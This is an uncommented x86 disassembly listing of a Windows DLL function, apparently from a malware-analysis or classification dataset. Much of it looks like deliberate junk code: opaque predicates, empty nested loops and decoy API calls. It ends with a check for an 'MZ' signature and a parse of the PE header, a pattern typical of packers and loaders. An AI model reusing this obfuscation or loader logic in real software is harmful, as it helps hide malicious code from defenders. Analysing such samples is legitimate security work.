call fcn.10026750
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x7c], 0x9beb0647
mov dword [ebp - 0x42c], 0
jmp 0x1004244f
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 2
jge 0x10042471
push dword [ebp - 0x42c]
lea ecx, [ebp - 0x75c]
call fcn.100267ee
mov dword [eax], 0xbca63185
jmp 0x10042442
mov dword [ebp - 0x7c], 0
jmp 0x10042481
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jg 0x100428f7
mov dword [ebp - 0x434], 0x90a624cd
mov dword [ebp - 0x1910], 0
mov dword [ebp - 0x21c], 0x5950707d
mov dword [ebp - 0x1918], 0
mov dword [ebp - 0x1920], 0xc3414b5
mov dword [ebp - 0x1928], 0
push 4
lea ecx, [ebp - 0x1540]
call fcn.10026750
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x1930], 0x96497440
mov dword [ebp - 0x1938], 0
mov dword [ebp - 0xd04], 0
mov dword [ebp - 0x14ac], 0xffffffff
mov dword [ebp - 0x5dc], 0
jmp 0x10042519
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 4
jge 0x10042538
push dword [ebp - 0x5dc]
lea ecx, [ebp - 0x1540]
call fcn.100267ee
and dword [eax], 0
jmp 0x1004250c
mov dword [ebp - 0x434], 0
jmp 0x10042551
cmp dword [ebp - 0x434], 1
jg 0x100426bc
mov dword [ebp - 0x1940], 1
mov dword [ebp - 0x1948], 0x9e2a8d3a
mov dword [ebp - 0x1950], 0xc4307e4
mov dword [ebp - 0x1958], 0x67ee39f3
mov dword [ebp - 0x1960], 0
mov dword [ebp - 0x1968], 0x4ff5452f
mov dword [ebp - 0x1970], 9
mov dword [ebp - 0x1978], 6
mov dword [ebp - 0x1980], 0xfffffffa
mov dword [ebp - 0x1988], 0xea0627e8
mov dword [ebp - 0x1990], 0x8bbe58ed
push 4
lea ecx, [ebp - 0x1760]
call fcn.10026750
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x18c4], 0xb2faa963
mov dword [ebp - 0x193c], 0xffffffff
mov dword [ebp - 0x1734], 0xdc068927
push 2
lea ecx, [ebp - 0x1750]
call fcn.10026750
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0xe2c], 0x1d4c3f1
mov dword [ebp - 0xa4], 0
jmp 0x1004262f
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 4
jge 0x10042651
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1760]
call fcn.100267ee
mov dword [eax], 0x1d2d
jmp 0x10042622
mov dword [ebp - 0xa4], 0
jmp 0x1004266a
cmp dword [ebp - 0xa4], 2
jge 0x1004268c
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1750]
call fcn.100267ee
mov dword [eax], 0xbe62699f
jmp 0x1004265d
mov eax, dword [ebp - 0xe2c]
inc eax
mov dword [ebp - 0xe2c], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x1750]
call fcn.100267d2
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1760]
call fcn.100267d2
jmp 0x10042544
mov dword [ebp - 0x21c], 1
jmp 0x100426d5
cmp dword [ebp - 0x21c], 0
jl 0x100428e3
mov dword [ebp - 0xa9c], 0xb11082e7
mov dword [ebp - 0x1700], 0x3037d9cc
mov dword [ebp - 0x16fc], 0x3037d9cc
mov dword [ebp - 0x16f8], 0x3037d9cc
mov dword [ebp - 0x16f4], 0x3037d9cc
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x75c]
call fcn.100267ee
cmp dword [eax], 0
jne 0x100428ac
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x75c]
call fcn.100267ee
cmp dword [eax], 0x8230
jge 0x10042753
mov eax, 0x35d7d231
test eax, eax
jne 0x10042753
mov dword [ebp - 0xa94], 1
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x75c]
call fcn.100267ee
mov ecx, dword [ebp - 0xa94]
cmp ecx, dword [eax]
jg 0x10042790
mov dword [ebp - 0xd0c], 1
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x75c]
call fcn.100267ee
mov ecx, dword [ebp - 0xd0c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1700], 0
je 0x100428de
jmp 0x100428e3
jmp 0x100426c8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1540]
call fcn.100267d2
jmp 0x1004247a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x75c]
call fcn.100267d2
cmp dword [ebp - 0xabc], 0x714b
jge 0x1004291e
push dword [ebp - 0x10dc]
call fcn.10079103
pop ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x29b]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x228]
movzx ecx, byte [ebp + ecx - 0x29e]
movsx ecx, byte [ebp + ecx - 0x100c]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x29b]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x228]
movzx edx, byte [ebp + edx - 0x29e]
movsx edx, byte [ebp + edx - 0x100c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x29b]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x228]
movzx edx, byte [ebp + edx - 0x29e]
movsx edx, byte [ebp + edx - 0x100c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x29c]
mov byte [ebp + ecx - 0x100c], al
mov dword [ebp - 0x108], 0xe2db58e4
mov dword [ebp - 0x110], 0xffffffff
push 4
lea ecx, [ebp - 0xfdc]
call fcn.10026750
mov dword [ebp - 4], 0x20
mov dword [ebp - 0xd8], 0x95aad853
mov dword [ebp - 0x73c], 1
mov dword [ebp - 0x1100], 0x8e1f9167
mov dword [ebp - 0x68], 0
jmp 0x100429fc
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x10042a18
push dword [ebp - 0x68]
lea ecx, [ebp - 0xfdc]
call fcn.100267ee
mov dword [eax], 0x7ca0029b
jmp 0x100429f5
mov dword [ebp - 0x68], 0
jmp 0x10042a28
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x10042a3e
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x1174], 1
jmp 0x10042a21
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x108], 0x1d
jmp 0x10042a64
cmp dword [ebp - 0x108], 0xfffffff3
jg 0x10042e63
mov dword [ebp - 0x694], 0xae7b1b0c
mov dword [ebp - 0xac4], 0
push 3
lea ecx, [ebp - 0x1558]
call fcn.10026750
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x80], 0
jmp 0x10042aa6
cmp dword [ebp - 0x80], 2
jge 0x10042abc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfdc]
call fcn.100267d2
and dword [ebp - 0x228], 0
jmp 0x1004194d
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x100c], 0
mov dword [ebp - 0x15d0], 0x876e6bac
mov dword [ebp - 0x15cc], 0x876e6bac
mov dword [ebp - 0x15c8], 0x876e6bac
mov dword [ebp - 0x15c4], 0x876e6bac
lea ecx, [ebp - 0x712]
call fcn.100267fd
push eax
lea eax, [ebp - 0x15c0]
push eax
lea eax, [ebp - 0x15d0]
push eax
lea ecx, [ebp - 0x1aa0]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x768]
call fcn.100267ac
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x18], 0xb7136239
push 3
lea ecx, [ebp - 0xfc4]
call fcn.10026750
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x88], 0
jmp 0x10042f2b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x10042f47
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x6dc], 0x2a3c
jmp 0x10042f1e
mov dword [ebp - 0x88], 0
jmp 0x10042f60
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x10042f82
push dword [ebp - 0x88]
lea ecx, [ebp - 0xfc4]
call fcn.100267ee
mov dword [eax], 0x80278ee3
jmp 0x10042f53
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6dc], 1
ja 0x10042f9e
mov dword [ebp - 0xe64], 1
jmp 0x10042fa5
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0xe64]
mov dword [ebp - 0x18], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6dc]
cmp eax, dword [ebp - 0x18]
jl 0x10042fcc
mov dword [ebp - 0x14d4], 1
jmp 0x10042fd3
and dword [ebp - 0x14d4], 0
push 0
lea ecx, [ebp - 0x768]
call fcn.100267ee
push 1
lea ecx, [ebp - 0x768]
call fcn.100267ee
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6dc]
mov dword [ebp - 0x1824], eax
mov eax, 0xffff
test eax, eax
je 0x1004300f
cmp dword [ebp - 0x18], 0
jne 0x10043028
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6dc], 0
jne 0x10043028
and dword [ebp - 0xae4], 0
jmp 0x10043032
mov dword [ebp - 0xae4], 1
push 2
lea ecx, [ebp - 0x768]
call fcn.100267ee
mov ecx, dword [ebp - 0xae4]
cmp ecx, dword [eax]
jge 0x10043055
mov dword [ebp - 0x69c], 1
jmp 0x1004305c
and dword [ebp - 0x69c], 0
push 1
lea ecx, [ebp - 0xfc4]
call fcn.100267ee
mov ecx, dword [ebp - 0x69c]
mov dword [eax], ecx
cmp dword [ebp - 0x69c], 0
je 0x10043098
push 1
lea ecx, [ebp - 0xfc4]
call fcn.100267ee
cmp dword [eax], 0
je 0x10043098
mov dword [ebp - 0xd24], 1
jmp 0x1004309f
and dword [ebp - 0xd24], 0
push 0
lea ecx, [ebp - 0x768]
call fcn.100267ee
mov esi, eax
push 1
lea ecx, [ebp - 0x768]
call fcn.100267ee
mov ecx, dword [ebp - 0xd24]
imul ecx, dword [eax]
cmp dword [esi], ecx
jle 0x100430d4
mov dword [ebp - 0xaec], 1
jmp 0x100430db
and dword [ebp - 0xaec], 0
push 3
lea ecx, [ebp - 0x768]
call fcn.100267ee
mov ecx, dword [ebp - 0xaec]
cmp ecx, dword [eax]
jge 0x10043379
mov dword [ebp - 0x118], 0x8ad88ca0
mov dword [ebp - 0x18], 0xfffffff1
jmp 0x10043110
cmp dword [ebp - 0x18], 0
jge 0x10043374
mov dword [ebp - 0x43c], 0xfffffffb
mov dword [ebp - 0x1580], 5
mov dword [ebp - 0x157c], 5
mov dword [ebp - 0x1578], 5
mov dword [ebp - 0x1574], 5
mov dword [ebp - 0x110c], 0
push 1
lea ecx, [ebp - 0xfc4]
call fcn.100267ee
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x6dc]
push 0
lea ecx, [ebp - 0xfc4]
call fcn.100267ee
mov dword [eax], esi
push 0xffffffffffffffe2
pop eax
test eax, eax
jne 0x10043198
jmp 0x100436cc
mov dword [ebp - 0xb1c], 0x74f7
mov dword [ebp - 0x1364], 0x1000ba94
cmp dword [ebp - 0xb1c], 0x7702
jle 0x10043418
and dword [ebp - 0x5a4], 0
jmp 0x100433af
cmp dword [ebp - 0x5a4], 0x2b70
jge 0x10043410
mov dword [ebp - 0x6a4], 0x59a03c9d
cmp dword [ebp - 0xb1c], 0x72e8
jge 0x1004343e
mov edx, dword [ebp - 0x1364]
mov ecx, 0x10094c18
call fcn.10029186
mov dword [ebp - 0xe50], 0x5845
mov dword [ebp - 0x1118], 0x1000babc
cmp dword [ebp - 0xe50], 0x58d3
jle 0x10043549
mov eax, dword [0x1009a008]
cmp eax, dword [ebp - 0x508]
je 0x10043b0f
mov eax, dword [0x1009a060]
cmp eax, dword [ebp - 0x508]
jne 0x10043f02
mov dword [ebp - 0x74], 0x91a049fe
mov dword [ebp - 0x90], 0
jmp 0x10043b2f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10043b4b
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x1160], 0xffff
jmp 0x10043b22
mov dword [ebp - 0x90], 0
jmp 0x10043b64
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x10043b80
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x1ab8], 0x267e6aa1
jmp 0x10043b57
mov dword [ebp - 0x74], 0xfffffffa
jmp 0x10043b90
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xfffffff5
je 0x10043be6
mov dword [ebp - 0x46c], 0x22124f84
mov dword [ebp - 0x46c], 0xa
jmp 0x10043bb9
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0xffffffff
je 0x10043be4
mov dword [ebp - 0x1374], 0x978f3c34
mov dword [ebp - 0x1148], 5
mov eax, dword [ebp - 0x1374]
mov dword [ebp - 0x1148], eax
jmp 0x10043bac
jmp 0x10043b89
mov dword [ebp - 0x74], 0
jmp 0x10043bf6
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jg 0x10043eea
mov dword [ebp - 0x2f0], 1
mov dword [ebp - 0x790], 0x7ed1
mov dword [ebp - 0x1154], 0x1000bad4
cmp dword [ebp - 0x790], 0x80b8
jle 0x10043d53
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
and dword [ebp - 0x2d0], 0
jmp 0x10043c4c
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x62c6
jge 0x10043d3f
and dword [ebp - 0x2c8], 0
jmp 0x10043c72
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x3f8d
jge 0x10043d3a
and dword [ebp - 0x474], 0
jmp 0x10043c98
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0x3f83
jge 0x10043d35
and dword [ebp - 0x2c4], 0
jmp 0x10043cbe
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x24ee
jge 0x10043d30
mov ecx, dword [ebp - 0x474]
imul ecx, dword [ebp - 0x2c4]
mov eax, dword [ebp - 0x2c8]
shl eax, cl
or eax, dword [ebp - 0x2d0]
cdq
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], edx
push dword [ebp - 0x1194]
push dword [ebp - 0x1198]
lea ecx, [ebp - 0x1bb4]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x142c], eax
mov ecx, dword [ebp - 0x142c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1bb4]
call fcn.1002640c
jmp 0x10043cb1
jmp 0x10043c8b
jmp 0x10043c65
jmp 0x10043c3f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDIBits]
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x10043d6f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
cmp dword [ebp - 0x790], 0x7e99
jge 0x10043d87
push dword [ebp - 0x1154]
call fcn.10079103
pop ecx
mov dword [ebp - 0x798], 0x4bf7
mov dword [ebp - 0x14cc], 0x1000bb04
cmp dword [ebp - 0x798], 0x4cd0
jle 0x10043e85
and dword [ebp - 0x2e8], 0
jmp 0x10043dc1
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x4c16
jge 0x10043e85
and dword [ebp - 0x2d8], 0
jmp 0x10043de7
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x6c01
jge 0x10043e80
and dword [ebp - 0x2e0], 0
jmp 0x10043e0d
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0xbbc
jge 0x10043e7b
mov eax, dword [ebp - 0x2d8]
cdq
idiv dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x2e8]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x11a4], eax
mov dword [ebp - 0x11a0], edx
push dword [ebp - 0x11a0]
push dword [ebp - 0x11a4]
lea ecx, [ebp - 0x1be4]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x137c], eax
mov ecx, dword [ebp - 0x137c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1be4]
call fcn.1002640c
jmp 0x10043e00
jmp 0x10043dda
jmp 0x10043db4
mov eax, dword [ebp - 0x74]
cmp dword [ebp + eax*4 - 0x1160], 0
je 0x10043e94
jmp 0x10043eea
cmp dword [ebp - 0x798], 0x48f5
jge 0x10043eac
push dword [ebp - 0x14cc]
call fcn.10079103
pop ecx
mov dword [ebp - 0x2f0], 0
jmp 0x10043ec5
mov eax, dword [ebp - 0x2f0]
dec eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jl 0x10043ee5
mov dword [ebp - 0x116c], 0x4fda
cmp dword [ebp - 0x116c], 0
je 0x10043ee3
jmp 0x10043ee5
jmp 0x10043eb8
jmp 0x10043bef
mov ecx, dword [ebp + 0xc]
call fcn.10026416
push eax
push dword [ebp + 8]
call fcn.10036df7
pop ecx
pop ecx
jmp 0x10049dd6
mov dword [ebp - 0x120], 0xfffffffe
mov dword [ebp - 0x744], 0xb302aff6
mov dword [ebp - 0x1178], 0xffff
mov dword [ebp - 0x1720], 0x3132d683
mov dword [ebp - 0x171c], 0x3132d683
mov dword [ebp - 0x1718], 0x3132d683
mov dword [ebp - 0x1714], 0x3132d683
mov dword [ebp - 0x2f8], 0
jmp 0x10043f61
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 3
jge 0x10043f7d
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0x1770], 0x668451f1
jmp 0x10043f54
mov byte [ebp - 0x19c], 0
movzx eax, byte [ebp - 0x19c]
test eax, eax
je 0x10043f9b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov dword [ebp - 0x120], 0
jmp 0x10043fb4
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xfffffffe
jne 0x10044125
mov dword [ebp - 0x1384], 0xffff
mov dword [ebp - 0x6ac], 0xffffffff
mov dword [ebp - 0x708], 0xffffffff
cmp dword [ebp - 0x1384], 0
jne 0x100440d7
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0x18e4], eax
cmp dword [ebp - 0x6ac], 0x9fe57f6c
jb 0x10044010
mov dword [ebp - 0x7a0], 1
jmp 0x10044017
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x7a0], eax
jne 0x10044043
mov eax, 0x191b
test eax, eax
je 0x10044043
mov eax, 0x4e80031a
test eax, eax
je 0x10044043
mov dword [ebp - 0x7a8], 1
jmp 0x1004404a
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
add eax, 0x63d1
mov dword [ebp - 0x744], eax
jne 0x1004406f
cmp dword [ebp - 0x120], 0
jne 0x1004406f
and dword [ebp - 0x7b0], 0
jmp 0x10044079
mov dword [ebp - 0x7b0], 1
mov eax, dword [ebp - 0x1178]
cmp dword [ebp - 0x7b0], eax
je 0x10044093
mov dword [ebp - 0x7b8], 1
jmp 0x1004409a
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x17a8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1770]
mov dword [ebp - 0x196c], eax
mov eax, dword [ebp - 0x744]
add eax, dword [ebp - 0x6ac]
cmp eax, dword [ebp - 0x120]
cmp dword [ebp - 0x708], 0xd9a54e58
jbe 0x100440ef
mov dword [ebp - 0x6b4], 1
jmp 0x100440f6
and dword [ebp - 0x6b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6b4]
mov dword [ebp + eax - 0x1770], ecx
imul eax, dword [ebp - 0x6b4], 0xfff6
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1720], eax
jmp 0x10043fa7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x318], 0x55683450
push 3
lea ecx, [ebp - 0x16cc]
call fcn.10026750
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x300], 0
jmp 0x10044165
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 3
jge 0x10044187
push dword [ebp - 0x300]
lea ecx, [ebp - 0x16cc]
call fcn.100267ee
mov dword [eax], 0x3eb6
jmp 0x10044158
mov byte [ebp - 0x199], 0
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x10044297
mov dword [ebp - 0x7c0], 0x42fe
mov dword [ebp - 0x1184], 0x1000bb34
cmp dword [ebp - 0x7c0], 0x4316
jle 0x10044275
push 0
call dword [sym.imp.GDI32.dll_UpdateColors]
and dword [ebp - 0x308], 0
jmp 0x100441df
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x7484
jge 0x10044269
and dword [ebp - 0x310], 0
jmp 0x10044201
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x7c83
jge 0x10044264
mov eax, dword [ebp - 0x308]
or eax, dword [ebp - 0x310]
cdq
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], edx
push dword [ebp - 0x11ac]
push dword [ebp - 0x11b0]
lea ecx, [ebp - 0x1c14]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x143c], eax
mov ecx, dword [ebp - 0x143c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c14]
call fcn.1002640c
jmp 0x100441f4
jmp 0x100441d2
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [ebp - 0x7c0], 0x412b
jge 0x10044297
push dword [ebp - 0x1184]
call fcn.10079103
pop ecx
mov dword [ebp - 0x318], 0
jmp 0x100442b0
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x12
jg 0x10044331
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x60], 0xa
jmp 0x100442d0
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xb
jl 0x10044300
mov dword [ebp - 0x138c], 0xd2e8588d
mov dword [ebp - 0x1190], 0xffffffff
cmp dword [ebp - 0x60], 0
je 0x100442f2
jmp 0x10044300
mov eax, dword [ebp - 0x138c]
mov dword [ebp - 0x1190], eax
jmp 0x100442c9
mov dword [ebp - 0x60], 0
jmp 0x10044310
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x1004432c
push dword [ebp - 0x60]
lea ecx, [ebp - 0x16cc]
call fcn.100267ee
mov dword [eax], 0x9ce4
jmp 0x10044309
jmp 0x100442a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16cc]
call fcn.100267d2
cmp dword [ebp - 0x320], 0
je 0x10049b60
mov eax, dword [ebp - 0x320]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10049b60
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x1f8], 0x19d81479
push 1
lea ecx, [ebp - 0x1504]
call fcn.10026750
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x810], 1
mov dword [ebp - 0x1394], 0
mov dword [ebp - 0xa0], 0
jmp 0x100443b6
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x100443d8
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x1504]
call fcn.100267ee
mov dword [eax], 0x11ca4b38
jmp 0x100443a9
mov dword [ebp - 0xa0], 0
jmp 0x100443f1
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x1004440d
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x1a0c], 0xffffffff
jmp 0x100443e4
cmp dword [ebp - 0x1d0], 0
je 0x10044427
xor eax, eax
inc eax
je 0x10044427
mov dword [ebp - 0x7c8], 1
jmp 0x1004442e
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x7c8], eax
jle 0x10044448
mov dword [ebp - 0x7d0], 1
jmp 0x1004444f
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0x7d0]
jle 0x10044469
mov dword [ebp - 0x7d8], 1
jmp 0x10044470
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1d0], 0xffffffe9
jmp 0x10044495
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xd
jge 0x1004461b
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x7f8], 0x7f039d3c
mov dword [ebp - 0x7f0], 3
cmp dword [ebp - 0x1d8], 0
je 0x100444ce
jmp 0x1004461b
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
je 0x10044501
push 0
lea ecx, [ebp - 0x1504]
call fcn.100267ee
cmp dword [eax], 0
je 0x10044501
mov dword [ebp - 0x7e0], 1
jmp 0x10044508
and dword [ebp - 0x7e0], 0
cmp dword [ebp - 0x7e0], 8
jg 0x1004451d
mov dword [ebp - 0x7e8], 1
jmp 0x10044524
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x7e8]
mov dword [ebp - 0x7f0], eax
mov eax, dword [ebp - 0x7f0]
cmp dword [ebp - 0x7f8], eax
jge 0x10044556
mov dword [ebp - 0x800], 1
jmp 0x1004455d
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x800], eax
jne 0x10044577
mov dword [ebp - 0x14bc], 1
jmp 0x1004457e
and dword [ebp - 0x14bc], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x17b0], eax
push 0
lea ecx, [ebp - 0x1504]
call fcn.100267ee
mov eax, dword [ebp - 0x810]
cmp dword [ebp - 0x1f8], eax
je 0x100445b1
mov dword [ebp - 0x119c], 1
jmp 0x100445b8
and dword [ebp - 0x119c], 0
imul eax, dword [ebp - 0x1394], 0xfffffff7
test eax, eax
jge 0x100445cf
mov dword [ebp - 0x808], 1
jmp 0x100445d6
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x808]
sub eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x810]
je 0x100445f6
mov dword [ebp - 0x818], 1
jmp 0x100445fd
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x1d8]
imul eax, dword [ebp - 0x818]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1a0c], eax
jmp 0x10044488
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1504]
call fcn.100267d2
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x4c], 0xfffffff9
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x1b4], 0x9dbc9b78
mov dword [ebp - 0x1b0], 0xffffffff
mov dword [ebp - 0x328], 0
jmp 0x1004467d
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 3
jge 0x10044699
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0xfd0], 0xd70512a3
jmp 0x10044670
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xfd0]
mov dword [ebp - 0x18ec], eax
cmp dword [ebp - 0x4c], 0xfffffff9
ja 0x100446bd
